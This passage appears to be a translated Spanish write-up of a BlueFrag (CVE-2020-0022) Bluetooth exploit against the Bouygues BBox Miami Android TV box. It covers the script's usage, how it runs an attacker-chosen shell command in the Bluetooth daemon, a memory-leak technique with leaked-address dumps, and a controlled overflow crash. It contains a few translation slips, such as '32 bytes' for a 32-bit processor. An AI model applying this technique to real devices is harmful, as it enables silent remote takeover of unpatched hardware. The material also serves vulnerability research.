
Explotación de la vulnerabilidad CVE-2020-0022 en Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
CVE-2020-0022 explotación de vulnerabilidad en Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24
########################################################################################
"Uso: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Basado en scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click en Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUCCIÓN Y CONSEJOS
########################################################################################
El script usa el módulo bluetooth de python para obtener el manejador de conexión ACL Por lo tanto, necesitas instalar las librerías bluetooth y pybluez (versión 0.22 para python2 y última versión para python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
Puedes pasar un comando de shell al script como parámetro que se ejecutará con la función system por el demonio bluetooth Solo hay 104 caracteres disponibles para el comando de shell porque la cadena ROP ocupa los primeros 20 bytes del segundo payload
Ejemplo: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
El script puede usar adb para verificar la conexión, inspeccionar logcat y reiniciar el objetivo cuando sea necesario Para esto debes pasar la ip del objetivo como parámetro Asegúrate de conectar el objetivo con adb connect y abrir un shell para verificar la conexión antes de usar el script
Los mejores resultados se obtienen conectando el objetivo vía bluetooth con un smartphone cuando el script lo indique ;) Puede tomar más de 30 intentos para disparar el exploit, pero a veces funciona al primer intento
########################################################################################
FUGA DE MEMORIA CON ARM32
########################################################################################
El Bouygues BBox Miami está basado en un procesador ARM32 Cortex A9 de 32 bytes La diferencia con ARM64 es que la función memcpy de libc no subdesborda, por lo que es imposible obtener las mismas fugas que Jan Ruge Pero la vulnerabilidad está presente y es explotable de otra manera
Al enviar paquetes l2cap con fragmentación de 4 bytes podemos disparar un memcpy de longitud 0 en reassemble_and_dispatch Esto permite obtener 4 bytes de datos no inicializados al final del eco
Aumentar la longitud del primer paquete (denominado más adelante mem_offset) permite "caminar" por la memoria no inicializada Obtener 32 ecos con el mismo mem_offset da de 2 a 8 ecos explotables Los ecos se repiten, por lo que no es necesario obtener más de 32 ecos con el mismo mem_offset Este método también llena la memoria con los paquetes, por lo que es fácil reconocer patrones y encontrar desplazamientos en las fugas
El mem_offset es la longitud del paquete l2cap en caracteres Ej: mem_offset 184 = paquete l2cap de 184 caracteres = paquete l2cap de 368 bytes
Ejemplo de "caminata" de memoria y datos no inicializados con repeticiones:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
Podemos ver en mem_offset 180 y 184 algunas direcciones de memoria en little endian
a4ce80a3 da dirección 0xa380cea4 24d280a3 da dirección 0xa380d224 a4d580a3 da dirección 0xa380d5a4 9cce80a3 da dirección 0xa380ce9c 1cd280a3 da dirección 0xa380d21c 9cd580a3 da dirección 0xa380d59c
Hay al menos 4 o 5 mem_offset donde es posible encontrar direcciones de memoria reales después de casi cada reinicio Veremos más adelante cómo podemos usarlas
########################################################################################
ANÁLISIS DEL PRIMERO CRASH
########################################################################################
Al enviar paquetes l2cap con fragmentación de 2 bytes podemos disparar un memcpy de longitud -2 en reassemble_and_dispatch Esto permite desbordar fuera del paquete parcial con 30 bytes de datos controlados del segundo paquete Debido a los 30 bytes copiados no es necesario enviar paquetes más grandes de 32 bytes con los últimos 4 bytes a cero
Este método de desbordamiento a veces hace crash al demonio bluetooth con el registro R0 controlado en _Z11list_appendP6list_tPv+65: